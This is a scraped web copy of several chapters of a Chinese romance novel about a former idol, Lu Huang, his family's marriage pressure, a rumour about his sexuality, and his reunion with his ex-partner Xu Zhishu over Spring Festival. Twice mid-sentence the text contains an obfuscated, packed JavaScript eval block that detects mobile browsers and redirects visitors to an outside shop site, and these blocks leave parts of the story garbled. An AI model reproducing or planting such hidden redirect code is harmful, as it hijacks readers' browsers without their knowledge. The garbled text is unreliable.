“哇,太好了!谢谢哥!”纪西卓很高兴,他作为剧组新人,即便有这个能力,也不好太张扬,自己搞个咖啡车在哪儿。但如果是许稚舒给他订的,那就一点问题都没有了! 许稚舒笑说:“我也只知道偶像的应援方式,演员们怎么应援还真不清楚。下次我多做一下功课。” 纪西卓摆摆手:“这样很好,我也喜欢自己熟悉的方式。”越是在没有确定感的时候,越需要熟悉的东西加深已有的确定感。 晚些时候,源海市—— 路煌准时来到预定的餐厅见这次的相亲对象。 他都记不清自己这是第几次相亲了,对于相亲这件事,他也渐渐觉得麻木,好像跟谁在一起都一样。而他的良知又在提醒他,如果确定要跟对方结婚,就要负起责任,不能消极对待。 其实就算是联姻,也没有那么顺的。介绍人肯定是对双方家里都了解过,觉得财富上匹配,年纪上合适,才会提出见一见。 即便如此,真聊起来也会发现诸多不合适 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两个人并没有太多共同话题,但朱小姐性格很好,不强势,也不另类,应该是非常好相处的,这在路家来说是优点,家里人都和和气气的才好,如果进门一个刺头,就算条件再优渥也不行。 饭吃得差不多了,对于这位无功无过的朱小姐,路煌觉得如果对方愿意,那就继续接触看看。 “路少,我听说了一件关于你的事,思来想去觉得问清楚比较好。”朱小姐说得比较小心,像是怕惹得路煌不快,但又不能不问。 “什么?”连续的睡眠不足让路煌食欲减弱,吃完主菜后面的就基本没碰了。 “我听说你喜欢男的。”朱小姐看着他,像是怕他突然暴怒。她之所以现在问,是担心相处久了再问,自己没有这个勇气。也怕以自己的性格,掌握不了主动权,最后没办法收场。 路煌愣了一下,心里说不上是什么滋味。说他不是,他是真心喜欢许稚舒;说他是,长这么大他只喜欢过许稚舒一个男的,对其他同性毫无兴趣。 “你听谁说的?”路煌不知道是怎么传出来的,总得问一句。 “我朋友知道我要跟你相亲,特地打电话跟我说的。听说这个传言已经在我们这些女生圈子里传了有十来天了,虽然大家都不确定,也不知道源头在哪儿,但圈子就这么大,很快就传开了。”朱小姐说得很真诚,没有隐瞒,也没有夸大。 “我知道了。”路煌没有正面回答,也不想回答,这次相亲也可以宣告失败了。 而让他没想到的是,自己跟朱小姐见面被粉丝拍到了,当晚就发到了网上,说偶遇他跟女生一起吃饭,应该是谈恋爱了。 沉寂没几天的粉丝再次被炸了出来,有@其他成员求真相的,有恭喜路煌的。只有CP粉嗷嗷叫,但又不敢太大声,在失望与祝福之间,上演属于自己的精神分裂。 而当第二天,纪西卓在剧组见前来探班的粉丝时,剧组邀请来的记者问同样来探班的许稚舒,对路煌谈恋爱有什么想说的?许稚舒才后知后觉地发现,原来自己还要面对这样的问题。 可他怎么答呢?他给不出答案,他的答案都写进歌里了,只能唱,不能说。 28.第28章 这些记者是剧组请来的,拍摄期间,还没到戏需要大力宣传的时候。但因为有纪西卓的存在,浪费这么一个超级流量,都对不起自己。所以趁着纪西卓那边想组织粉丝探班,剧组就想着由他们来请记者,稍微提几句纪西卓正在拍的戏就可以了。 剧组已经提前跟纪西卓的团队商量过了,许稚舒来探班之前也已经知道有这么个流程,他作为退居幕后的人,这些跟他都没关系,他就没在意。 只是没想到前一天路煌因为恋情上了热搜,更没想到记者会凑过来问他有什么想说的。 其实细想,记者这么做没问题。毕竟不久之前,他和初黎合作推出Breeze的出道曲,初黎娱乐还因为老板换成了路煌上了热搜。所以记者觉得他们两个私下有更多接触是合理的。只不过关于路煌的恋情,他真的一无所知。 纪西卓对许稚舒和路煌现在维持着什么样的关系并不清楚,但他知道不能让许稚舒回答这个问题,这等于是在许稚舒心上捅刀子。 于是他立刻凑过去,带上开朗的笑容,说:“路哥的私事,我们也不好特地去问。如果真的是确定下来的恋人,路哥肯定会跟我们讲的。” “这么说路少还没定下来?”记者继续问。 纪西卓:“早上我看了一眼热搜,好像是粉丝拍到的照片吧。也可能只是和朋友吃顿饭,实在不能确定。所以我们不能单靠一张照片就发表意见,那样对路哥很不尊重。” 纪西卓的话说的一点毛病都没有,记者问这个问题本就没有道理。 许稚舒就站在纪西卓身后,什么都不想说,也不想多想。遗憾是什么,是明知不可为所以放下;是规劝自己退一步过好自己的生活;是在风平浪静后,突然被提起,会恍惚的痛,只是痛过就罢了,不必细想。 配合着纪西卓的团队,许稚舒和纪西卓一起在应援咖啡车前拍了些照片,剩下的时间就留给纪西卓和他的粉丝了。许稚舒也差不多要回去了。 跟纪西卓的经纪人打了招呼,许稚舒就坐上了纪西卓的车,纪西卓的司机会把他和乐言送到机场。 * 路煌在同阶层的相亲圈里被传是gay的消息让他父亲路康佑听说了,震惊之下,把路煊叫到了书房。 “今天的酒会上遇到去年举家搬回国内的张家掌权人,我想到他家闺女和路煌年纪差不多,好像也没结婚,就问了一嘴,想让两个孩子见一面。结果老张一脸为难,弄得我还挺尴尬。后来你叶叔把我拉到一边,说不知道谁传的,说路煌喜欢男的,现在疯狂相亲是要骗婚。 “我问他从哪儿听说的。他看我完全不清楚的样子,怕影响我和路煌的父子关系,一开始还不愿意细讲,我拉着他问了好几次,他才说是他女儿跟他讲的。 “还说在她们那些小姐妹之间都传开了,虽然这种事不罕见,可还出来相亲,就让人很反感了。” 路康佑现在说起来还是有些不可置信,甚至觉得荒诞,他的儿子真的喜欢男的吗?不应该啊,从小到大一点蛛丝马迹都没有。 要是放在以前,路煊肯定会帮着路煌隐瞒,倒不是觉得喜欢男的见不得人,而是路煌只是喜欢许稚舒而已。但从在棕绵岛见到许稚舒,他就觉得自己开不了这个口了。 即便他先前没见过许稚舒本人,也能感觉到许稚舒的状态并不是太好。跟路煌有点像,就是表面看起来一点问题都没有,工作很用心,也没有出纰漏,可就是觉得整个人没有光了,不鲜活。 尤其是第二天一早,陈玉欣不放心许稚舒一个人出来玩,想找他一起吃早饭,却得知对方已经退房走了。同时还得知原本许稚舒是定了两周的房,不知道为什么提前走了。他们这才明白许稚舒并不想见到他们,至于原因,就不用多说了。 他们理解许稚舒,正是因为理解,才会觉得他们其实是很自私的。路煌帮他们分担了压力,他们却像被释放了一般的心安理得,却忘了不应该让别人为自己的人生负责。 没有孩子,他们可以正视这个问题。哪怕最后决定不要孩子了,那路家下一代的任务也不应该理所应当地落到路煌头上。路煌之所以接下这个担子,不是理所应当,而是他底色善良,不愿让家里有解不开的矛盾,影响多年的温馨和睦。 路煊深深地吸了口气,说:“爸,路煌是不是喜欢男的我不确定,但他的确有喜欢的人,他们在一起九年,对方是男的。” 路康佑不知是震惊还是难过,不自觉地后退了一步。 路煊继续说:“不知道你们看没看出来,路煌从回来继承家业后状态很不好,因为他还没从分手中走出来。” 路康佑眉心拧紧,脸上满是为难。沉默了半天才坐到椅子上,问:“你什么时候知道的?” “好几年了。”他没提陈玉欣了解得更多一些,也是不想把妻子扯进来。 “对方是谁?”路康佑又问。 路煊犹豫了一下,说:“既然分手了,爸你就别问了。” 路康佑叹气,不知道要说什么。 路煊:“事以至此,路煌的相亲还是停一阵吧。爷爷着急抱曾孙,我作为晚辈不能说什么,但我也实在不愿意看路煌难受。” 路康佑点了点头:“那就再议吧。不过我倒想知道是谁传的。” “能在各家小姐的圈子里传开,还能让她们相信的,应该也是咱们这个圈子里的人。”路煊分析。如果是外界八卦,先不说这些家族中的小姐们信不信,就这传播范围也未免太窄了些。 “你让玉欣打听一下。”路康佑不是想报复谁,只是路煌恋爱连八卦记者都不知道,也没上过热搜,怎么就被制造传言的人知道了? * 探班回来后,许稚舒又将注意力全放到了 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路煌知道今天许稚舒要来录采访,特地赶过来,想悄悄看看许稚舒,没想到在门口看到了乐言。 “二少。”乐言也挺意外,下意识地问,“你也参加采访吗?” 路煌不能说自己是特地来看许稚舒的,只能说:“不是,有工作要处理。” “哦。”两个人都分手了,乐言肯定不会主动请路煌进去,让两个人见面。路煌又没有要走的意思,一时间他也不知道说什么了。 倒是路煌开口问:“工作室的运营还顺利吗?有没有人为难你们?” 有了路煌的关心,乐言顿觉多了几分底气,虽然工作室没什么事,但有种万一有事,可以直接找路煌的感觉。 “都挺好的,没有人为难许哥。今年的工作排得也很满,二少不用担心。”乐言如实说。即便分了手,两个人也没有闹僵,乐言对路煌的态度肯定还是一如从前。 “那就好。”路煌放心了,这表示郑昌也好,杨阅也好,都没再搞事。 原本聊到这儿,路煌就应该走了。可他还是想看一看许稚舒。于是走到门口,将门悄悄推开一条缝。 里面的工作人员见有人开门,刚想阻止,就发现是路煌。路煌示意她禁声,她就没请路煌进去。 路煌通过门缝看着被采访的许稚舒。许稚舒并没注意到他,脸上的微笑还是他最熟悉的样子。和他比,许稚舒的状态更好些,如此,路煌就放心了。 这段时间家里都没再给他安排相亲,他也能松快几天。至于原因,家里虽然没说,但他多少猜到了一些。他并不想解释,他也想过几天安静的日子,晚上睡不着就想想许稚舒,想想他们愉快的过往,就算痛苦,也好过心里空荡荡的,落不着实处。 29.第29章 在路煌合上门的前一秒,许稚舒只是随意地一瞟,就注意到了门外有人。而且他一下就认出刚才在门口的是路煌,毕竟是相处了十年的人,哪怕一个侧影,他也能把人认出来。 采访结束,工作人员将许稚舒送出来。 许稚舒问待在门口的乐言:“路煌来了?” 如果许稚舒不问,乐言就不多嘴了,可许稚舒问了,他就不好隐瞒了。 “嗯,在门口看了一下,就上楼去了。说是有工作。”乐言如实说。 许稚舒点点头,心里有些犹豫,他想见路煌一面,却也知道不见或许更好。 就在他纠结着往外走的时候,乐言突然说:“哥,我看路少脸色不怎么好。” 许稚舒停下脚步,仿佛找到了说服自己去见路煌的理由,于是他对旁边的工作人员道:“方便帮我联系一下吗?看路煌有没有空见我。” 工作人员立刻笑说:“许老师说这话就见外了,你直接上去就行了。路少早就吩咐过了,你来的话,随时可以上去找他。” 许稚舒没想到路煌还有这样的吩咐,有点想笑,又有点笑不出来,最后还是行动先于思考,乘电梯上楼去了。 助理江铭坐在外面的办公位上,这里不是路煌主要办公的地点,所以没有给江铭专门安排助理室,只是默认离路煌办公室最近的桌子是江铭的。 见许稚舒来了,江铭微笑着站起来:“许先生。” “你好,我想见一下路煌,方便吗?”许稚舒问。但凡江铭说路煌在忙,他肯定立刻离开。 “方便,你请进吧。要不要喝点什么,我给你拿。”江铭也是一副“你可以随便进”的态度,没有要帮着问一句的意思。 许稚舒见状,道:“不用,我不喝。”说完,就自己去敲门了。 在路煌应声后,许稚舒推门走了进去。 看到时许稚舒,路煌先是一愣,随后快速把手里的文件放到一边,站了起来:“拍完了?” “嗯,看到你来了,上来跟你打个招呼。”上来这一路,许稚舒早就把理由想好了。 “坐。”路煌绕过办公室桌来到沙发区。 许稚舒原本想说几句就走,但看路煌比之前见时还要憔悴,不禁想多关心他几句,这和应不应该没关系,哪怕只是朋友,也得多问几句。 “你还是睡不好觉?”许稚舒不自觉地皱眉。 路煌不想让他担心,说:“最近工作比较忙,但睡眠已经好多了。” 他想过用失眠获取许稚舒的关注和同情,可真到这一步了,他又舍不得让许稚舒担心。 许稚舒松了口气:“那就好。前阵子郑夫人给我打电话,就郑昌的事跟我道歉。我一直没谢你帮我解决这事。” 路煌也没想到郑夫人会联系许稚舒,他本想让郑昌鸟悄地滚就得了,没想到还是让许稚舒知道了。 “我不是故意要打听你的事……”路煌想解释,以免让许稚舒有被监视的感觉。 许稚舒摆摆手:“我知道。你能帮我解决这个麻烦,我应该谢你的。” 见许稚舒没有不高兴,路煌才放心,说:“你应该早点联系我。” 许稚舒笑了笑,没有答话。他去的地方都是路煌带他去过的地方,通过会馆他也知道这些都是路煌能护住他的地方,在这些地方他没什么可担忧的,自然也没必要特地跟路煌讲。 而这在路煌的解读里就成了另一种意思,认为是许稚舒想跟他拉开距离,没必要什么事都跟他讲。 不想气氛尴尬,路煌换了话题,问他春节有什么安排。 许稚舒道:“暂时还没定。不过没有什么特别的想法,也没有旅行的打算。” 他度了个长假,就算这个假期对他来说不怎么样,但也没必要再补了。 “没跟贺漾他们约着见面?”路煌又问。 “贺漾跟辛馨老师合作上官方晚会了,彩排忙得紧。西卓还在剧组忙,说赶进度,春节就放三天假。长清那边我还没问,不过目前看着肯定凑不齐,还是别折腾了。” 路煌略有些失望,如果能组成局,他还有借口跟许稚舒见一面。 要说的都说完了,许稚舒不耽误路煌的时间,就准备离开了。出门前提醒他:“春节假期你多休息吧,身体要紧。” 路煌微微扬起嘴角,说:“知道了。” 见面的喜悦,分开的难受,好像总在两个人之间循环,不知道什么时候是个头。可如果能见一面,在实在压不住心底想见面的冲动的时候,难受也值得。 * 郑家连春节都没过,就把郑昌直接送到国外去了,同时把郑夫人接了回来。 不知内情的人猜测,是郑昌太不成气,郑夫人再有几个月就要生孩子了,与其指望一个废物能撑起郑家的产业,不如重头开始培养新的继承人。 而郑夫人出国安胎,现在把郑昌送走,又把郑夫人接回来养胎,被很多人解读为郑昌没安好心,不希望郑夫人生下孩子,郑夫人这是躲着郑昌呢。于是豪门八卦又在圈子里传开了。 其实郑昌之所以被送走,是因为在相亲圈里传路煌喜欢男人,相亲是骗婚的就是郑昌。陈玉欣顺藤摸瓜把传言了解清楚后,路康佑在宴会上遇到郑先生,就跟对方聊了几句。 郑先生回去就把郑昌送走了,任凭郑昌怎么叫嚣,说路煌别他车在先,说他就是气不过编排几句,路煌可以清者自清……郑先生都没给任何转换的余地。 郑昌干那些烂事郑先生一清二楚,包括跟杨阅合着改《听一首歌》的规则,后面又找许稚舒,想让许稚舒听话,帮他办事等等。只是他怎么也没想到郑昌把路煌惹毛了不说,还得罪了整个路家。退一万步说,就算路煌真是gay,那跟他们郑家有什么关系?这样恶意编排,还引火烧身的儿子送走是最保险的。他辛辛苦苦打下的事业,不能就这么毁了! 从那天跟路煊聊过,路康佑的心里就总觉得不是滋味。他不知道路煌的恋爱对象是谁,也没有刻意去打听。大儿子跟儿媳感情好,即便没有孩子,他们家也没要拆散两个人。那二儿子呢?手心手辈都是肉。可家里也不能没有继承人,不然这若大的家业怎么办?老爷子那边也交代不过去啊。 “我怎么觉得你这几 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严妙也跟着叹气:“我能有什么想法?咱爸那关他就过不去。说句不好听的,我虽然不认同,却也不得不承认,带着同性恋人出席各种场合在咱们这个圈子是会被嘲笑的,对路煌的职业发展没有好处。其实如果咱们是普通人家,我就随他去了,可偏偏咱们家的家业不能轻易落到别人手里,弄不好要出大事。” 路家的主业是做港口的,这种命脉产业就算交接都得谨慎再谨慎。 严妙看了看路康佑,继续说:“老爷子心心念念抱曾孙,万一被这事气出个好歹,路煌心里肯定过不去这个坎。当然了,我也不是要让路煌去骗婚,可他只喜欢过那么一个男生,感觉更像是一次意外。本质上应该还是喜欢女孩的,否则以他的性子,也不可能去相亲骗婚。” 对于自己儿子的人品,严妙有信心,否则就是她教育失败,说什么都没用。 路康佑考虑了一会儿,说:“总之,相亲先停一停吧,我觉得他可能需要时间整理情绪。爸那边要是问起,我来应付。” 严妙赞同,两个人随后又说起春节的安排,准备把老爷子和老太太接回来过春节,这边地方大,接待前来拜年的亲友更方便。 * 许稚舒像往年一样学着别人的样子准备年货,终于在除夕这天把家里塞得满满当当。吃不吃的不重要,有气氛很重要,尤其是在一个人的时候。 往年春节,他其实都是待在宿舍里。路煌会在过了初三之后要么说和朋友聚会,要么说团队要训练,总之会提前回宿舍陪他。但今年,是真真正正就他一个人了。 他一觉睡到中午,简单吃了点东西,就开始准备年夜饭。 他一个人做饭,一个人吃饭,一个人看春晚,一个人下楼放鞭炮,用电视作为背景音,回复着别人发来的拜年信息…… 他适应着一个人的生活,并不会觉得孤独,只是想到以后还有许多个春节他都要这样度过,不免心生无措。可这就是他的人生。 另一边,路家—— 一家人聚在一起吃年夜饭,在外留学的路千瑗也回来了,家里很是热闹。路煌不时地看一眼手机,希望能收到许稚舒的新春祝福,这样他就有理由给许稚舒去一通电话,但直到年夜饭结束,也没有收到许稚舒的消息。 30.第30章 春节期间,路家很是热闹,前来拜年的人络绎不绝。 路煌跟着长辈们应酬,但因为睡眠不足,总有种心不在焉的样子。来拜年的长辈们总是要问一句路煌的婚事,答了次数多了,路煌感觉自己就像被设定某个程序的机器人,吐露着标准答案,没有任何感情。 严妙和路煊会帮着差开话题,路煌在家待的这几天,除了老爷子老太太,其他人都发现了他的睡眠问题。 他们也不是故意盯着,而是路煌大半夜睡不着,不是喝酒就是发呆,家里的佣人们发现了不对劲儿。他们都是在路家工作很多年的,路家待下人很好,遇上这样的问题,他们不敢让老爷子和老太太操心,可肯定是要告知严妙或者陈玉欣的。 路煊是最早发现他有睡眠问题的,只是没想到持续了这么久不仅没有好转,好像还越发严重了。 送走了被邀请来吃晚餐的客人,路煊和陈玉欣回到卧室。 今晚路煌一直在走神,路煊不敢让他喝太多,基本都是他在陪长辈喝,这会儿的确有些醉了,就坐在椅子上缓酒劲儿。 陈玉欣摘着首饰,脸上也没了招待客人时的礼貌微笑。她注意到路煌没吃多少东西,话也很少,好像随时能睡过去,又一直努力保持着清醒。 “我让厨房煮了点生菜牛肉粥,你洗完澡给路煌送一碗过去吧。我看他晚上没怎么吃东西。”陈玉欣不能不操心,他知道路煊和路煌感情很好。她嫁进路家后,因为自己家境普通,一开始没少被排挤。路煊工作忙,那阵子顾不上她,还是路煌带来参加了不少宴会,慢慢让大家知道了路家的态度,才没人再敢轻看她。 路煊点点头:“也好。我多跟他聊一会儿,你早点休息。”他是想等路煌睡了他再回来。 陈玉欣应了。 路煊捏了捏眉心:“你说我要不要找个理由请许稚舒来家里坐坐?或许路煌见到他,心情能好一些。” 陈玉欣默默地叹了口气,坐到路煊旁边:“经过在棕绵岛的事,我就知道这两个人都放不下。就算你把稚舒请过来吃饭,路煌高兴了几个小时,可最后还是要分开。说来,我也是自私的,我怕稚舒恨我。” 路煊搂过妻子,一时也不知道说什么。 * 年初四上午,初黎娱乐放出了Breeze的出道vlog。Breeze的热度还在持续,正是固粉的时候,多发一些物料,有利于粉丝了解这个团,从而跟成员们产生更多的精神羁绊。 路煌是两点多睡的,不到六点就醒了。今天家里没有安排,他也没有别的事想做,就一直待在房间里。他不会觉得无聊,比起和别人说话,他现在更想一个人待着。家里人可能以为他还没醒,并没叫他吃饭。 在Breeze的物料放出来后,他的手机收到江铭发来的消息,只是告诉他物料已经发了,并不需要他做出任何回复。 路煌拿过手机,在官方微博置顶看到了刚发没多久的vlog。此时下面的评论已经很多了,这为Breeze的后期发展奠定了基础。 打开vlog,路煌看得频繁走神,直到许稚舒出现,他才坐直了身体。 镜头里的许稚舒还是那么好看,没有化妆,也没有做造型,就这么出现在镜头里。那天他是跟许稚舒见过面的,但vlog里再看到许稚舒,还是让他觉得好看。 许稚舒聊了《独立》的创作过程,也说了为什么会为Breeze选这首歌。 关于团的问题聊完,工作人员又延伸性地问他为什么会愿意跟初黎合作,是否跟路煌有关系。 镜头里的许稚舒笑说:“作为一个刚开始单干的音乐人,在选择合作对象上的确会更倾向于已经有作品的歌手。但因为路煌接手了初黎娱乐,出于对他的信任,与新人合作我也是愿意尝试的。” 工作人员:“你刚才对Breeze成员的评价很高。那如果初黎没被路总接手,以Breeze这样的成员配置找到你,你会愿意帮忙做这个团的出道曲吗?” 许稚舒几乎是没有犹豫地说:“应该不会考虑。新人最怕的就是定位模糊,我也不是初黎的御用音乐人,所以很容易在出道曲的风格上与公司产生分歧。路煌是知道我的风格的,他既然找到我,就是认同我的风格。而在合作的过程中,因为他对我的信任,Breeze的制作团队没有提出与我相左的意见,我们都在团力去做这个团。这是很多人做不到的。” 工作人员:“那我能不能说抛开路总老板这个身份,是因为有路总在,才有你的加入,也才有了现在的Breeze?” 许稚舒:“当然,就是这样。” 工作人员:“看来你与路总的关系不是一般好呢。” 许稚舒笑而不语,关于他的采访到这儿就结束了。 路煌将视频定格在许稚舒结束采访的笑脸上,心情无比复杂。许稚舒信任他,无论以前还是现在,无论在哪一方面,许稚舒都给予了他最大的信任,哪怕是在许稚舒最难信人的感情上,许稚舒依然付出了真心。可他呢?他对得起许稚舒的信任吗?哪怕一开始就知道会分手,许稚舒依旧接受了这个结果,并交付了信任。而他即便有自己的理由,有自己的不得已,他也从未想过为许稚舒争取些什么。就算许稚舒不需要,他也是辜负了信任的。 他想见许稚舒,哪怕他什么都说不出来,也想见他。 许稚舒起床已经是中午十一点多了,简单吃了早午餐,他考虑着是不是应该出门走走,他已经好几天没出门了。可要问他去哪儿,他也不知道,没有什么想去的地方。 正考虑着,家里的门铃响了。 许稚舒疑惑地按了通话器:“你好,哪位?” “是我。”楼下的门铃应答机传来路煌的声音。 许稚舒愣住了,还没等他再开口,就听路煌问:“能开下门吗?” 许稚舒下意识地按了开锁,楼下的大门开了,门铃通话也随之挂断了。 没几分钟,路煌就乘电梯上来了。这里虽是一梯两户的设计,但两户各有各的电梯,走廊也是隔断开的,完全不会看到对方,也不会相互打扰。 许稚舒打开门,就看到站在门口的路煌。 “你怎么……”许稚舒的话还没说完,就被路煌一把抱住了。 路煌身上很凉,确切地说是外套带着寒气,不像是刚从车上下来的,倒像是在外面待了很久。 许稚舒没有推开他,即便两个人已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568750|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不是情侣关系了,这个拥抱对许稚舒来说也不温暖,可心底的贪恋却像打通了泉眼般涌出来,让他恍惚地希望时间可以就此暂停。 不知道过了多久,许稚舒才说:“进来吧。” 路煌轻轻说了声“好”,这才放开他,跟着许稚舒进了门。 许稚舒没问他怎么过来了,看到路煌憔悴的脸,他已经什么都不想问了。 “喝点什么?”许稚舒问他。 “都行。”路煌脱了外套,坐到沙发上。 许稚舒去厨房给他热牛奶,他这个状态喝咖啡肯定是不合适的。而且他注意到路煌有鞋子蹭了泥,像是走了许多路的样子。 等牛奶热好端出来,他就发现路煌眼皮已经开始打架了。 许稚舒下意识地就在想,这是多久没睡好了?可他依旧没问,走过去把杯子递给他。 两个人的手短暂地碰到一起,许稚舒能感觉到他手指冰凉,不禁问:“你怎么来的?” 路煌接过杯子,低声说:“走来的。” 许稚舒心里一酸,又问:“昨晚没睡好?” “嗯。”路煌没有否认,他知道自己什么状态,否认没有意义。 许稚舒叹气,说:“把牛奶喝了去睡一会儿吧,我被子还没叠。” 许稚舒家里没有客房,他就一个人,没有亲戚需要住他家,他就没费那工夫。 “好。”和许稚舒待在一起,他就觉得安心。心安了,人就犯困了。 许稚舒没多说什么,等他把牛奶喝完,就带着人去了卧室,又找出睡衣上路煌换上,看着他上床,盖好被子。 路煌拉住他的手:“陪我待一会儿,行吗?” 许稚舒说不出拒绝的话,两个心里都有空洞的人如果能有机会依偎在一起,谁又能拒绝呢? 于是许稚舒拿了平板回到卧室,路煌睡一边,他在另一边依着床头看平板。没过多会儿,路煌还是没忍住凑了过来,手臂抱住许稚舒的腰,脸贴在他腰侧。 许稚舒依旧没拒绝,只是把被子往上拉了拉,盖住他的手臂。 路煌总算满足了,没有多会儿就沉沉地睡了过去。 许稚舒放下平板,看着他的睡脸,就像一个对路煌上瘾的人,哪怕短暂地再贪恋一次也好,别的已经顾不上了。 路家人直到下午也没见路煌下楼,到他房间一看,才发现人不在,可院里的车子并没开走。问了一圈,没人看到路煌离开,如果不是手机没在,他们都要怀疑这个人凭空消失了。 “跑哪儿去了?”严妙很不放心,路煌从没有不说一声就出去的时候。 “打个电话问问。”路康佑说。 路煊立刻给路煌打了电话,但那头提示手机关机。 “不会出什么事吧?”路老太太担心起来。 老爷子皱着眉,明显很不满。 “他能去哪儿呢?”严妙想着这么冷的天,不开车应该不会去太远。 “会不会只是出门散步了?”老太太说。 陈玉欣摇摇头:“他连饭都没下来吃,应该不会去散步。” 就在所有人一筹莫展时,坐在沙发上吃着水果的路千瑗开口道:“打电话问问许稚舒呗。” 31.第31章 路千瑗这话一出,陈玉欣和路煊都向她投来诧异的目光。 路千瑗一脸淡定,仿佛什么都知道,又仿佛只是随口一说。 “这个什么舒是谁?”路老爷子问。老爷子不关注娱乐圈,就算自己孙子在娱乐圈待过这么多年,他也没有关注。对Infinite成员最多是看个脸熟,既没见过本人,也没记住名字。 每一代人有每一代人的偶像,老爷子也一样,现在这些蹦蹦跳跳的年轻人,对他来说就是不如他那一辈的歌手稳重,拿得出手。 路煊在路千瑗再开口前接了话:“是路煌之前团里的队友,可能是跟他们聚会去了。” 说着,他向陈玉欣使了个眼色。 陈玉欣笑道:“那我去联系一下,看看路煌是不是跟他们玩去了。” 路康佑从他们的对话中抓住了一个名字,他和老爷子不一样,他是会关注Infinite的,让他们一提,他就对上号了。心里不免有几分唏嘘,倒是多少能理解路煌的心动了。 接到陈玉欣的电话时,许稚舒正在小区外的超市买东西,他估计路煌这几天也没吃好饭,晚上就想煮点面。但家里方便面挺多,挂面是没有的,想着也不好让路煌吃方便面,就出来买些挂面。 “现在说话方便吗?”陈玉欣问得小心翼翼,其实许稚舒肯接她的电话,她就很欣慰了。 “方便的。”提着买好的东西,许稚舒走出便利店。过年期源海市的外地人大部分都回家了,街上冷冷清清的,尤其是他这种稍微高档些的小区附近,几乎看不到人影。 “那个……路煌在你那儿吗?”陈玉欣原本应该寒暄两句的,可实在也是担心,就先一步问了。 “在。”许稚舒的声音很轻。他不想听到催促路煌回家的话,可又不能直接挂断。 陈玉欣明显松了口气:“那就好,他没说一声就出门了,手机又打不通,只能联系你问问。” 她担心许稚舒会有不快,就多解释了几句。 “一会儿我让他给你们回电话?”许稚舒询问。 “不用不用,知道他在哪就行了。”陈玉欣想说如果可以的话,让他收留路煌几天,总得让路煌睡个好觉。可思量再三,还是没有开口。留与不留还是让路煌和许稚舒商量吧。 又寒暄了几句后,陈玉欣挂了电话回到客厅,说路煌的确在许稚舒那里。但她扯谎说是团里的五个人临时决定要聚一聚,路煌手机没电了,这才没接到电话。至于路煌是怎么离开的,她也编说是队友来接的他,当时家里佣人都在忙,没注意到而已。 老爷子点点头,倒没再多问了,只是说:“奔三的人了,还想一出是一出,不稳重。” 路康佑连忙打圆场说:“过年嘛,年轻人喜欢闹腾,随他们去吧。” 许稚舒提着袋子刚进小区,就看到穿着睡衣就跑下楼的路煌。路煌东张西望、仓皇无措的表情让许稚舒心里一酸,赶忙快走了几步。 看到时许稚舒,路煌立刻向他跑来,像是怕慢一秒,这个人就要消失一般。 许稚舒就这样被他抱了个满怀,但这次,许稚舒随即将他推开了些,皱眉道:“怎么跑下来也不套件衣服?” 路煌还想去抱许稚舒,就被许稚舒摘下的围巾围上了。 今天特别冷,路煌穿这么单薄,很容易感冒。 “我醒了没看到你,以为我把你吓跑了。”路煌拉着他的手,目光坚定又执着。 “我能跑哪儿去?”除了这里,许稚舒没有家了。 路煌握着他手的力度加重了些,但也只是看着他,没有说话。 寒风吹起,许稚舒吐出一股白雾,无奈地反手拉住路煌的手腕:“赶紧回去,太冷了。” 说着就拉着人往回跑。路煌从容地跟着他跑,眼睛一直留在他身上,贪婪的像要把许稚舒的一举一动都刻进骨头里。 回到家,许稚舒赶紧煮上姜汤,有些话他不想问,也不想知道,他现在只希望路煌别冻感冒了。 “这么大人了,就不能照顾好自己吗?”许稚舒并不常数落路煌,路煌也没什么需要他数落的地方,只是今天路煌做的每一件事都像是在戳他心窝子,让他都不知道该气谁。 路煌不说话,只是看着他。 许稚舒撕了两张暖宝宝,往他睡衣上一贴,好在家里的地暖很给力,否则他肯定要开空调的。 路煌伸手一扯,许稚舒没有防备,直接跌坐进了路煌怀里。 路煌从后面抱着他,脸埋在他背后,不说话。许稚舒僵了片刻,无奈地叹了口气,说:“刚才你大嫂联系我,问你是不是在我这儿。” “嗯。”路煌应了一声,似乎并没往心里去。 “你给家里回个电话吧。”许稚舒说。 “不回。”路煌完全没有之前从迈巴赫上下来的精英气质,开始变得幼稚起来。 许稚舒不勉强他,如果路家联系不上路煌,可以继续打他的手机,到时让路煌接了也是一样的。 “晚上煮面吃吧。”许稚舒换了话题。 “好。”路煌没有任何异议。 重新适应了路煌的怀抱,许稚舒整个人都放松下来,就这么坐在他腿上靠着他:“要不要再去睡一会儿?” 算来路煌也就睡了两个多小时。 路煌没应。 “那要不要看综艺?长清之前参加的综艺播了,我刚看完第一期。”这个综艺制作周期还挺长的,估计是特地放在春节期间播的。 “好。” 许稚舒拿了平板过来,路煌自己去把煮好的姜汤倒进碗里端过来,两个人围着毯子看综艺,像是回到了还在团里的时候。 路煌没有联系家里,路家也没有再联系许稚舒。许稚舒没问路煌什么时候回去,路煌就这样顺理成章地留宿了。 晚上,两个人躺在一张床上。原本是各占一边,可路煌坚持了没一会儿,就凑过来抱住了许稚舒。 直到夜深人静的时候,许稚舒才感觉到今天的真实。说实话,从路煌出现在他家门口到现在,许稚舒都没有太多的真实感,美好的像梦,等待梦醒的过程也不受控制。 所以许稚舒觉得自己的情绪好像不流动了,只是机械地在合适的时候出现合适的情绪,但他知道这不是他切实地能感受到心脏跳动的情绪。 现在视线是入夜的黑,一切虚无开始变得清晰。路煌这样抱着他,他能感觉到温度,能感觉到路煌起伏的呼吸,也能感觉到这个人是真实在他身边的,不是梦,也不用醒。 路煌的吻落在他的脑后,然后是后颈,十分亲昵,又适可而止。许稚舒背身蜷缩着,不发一言。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 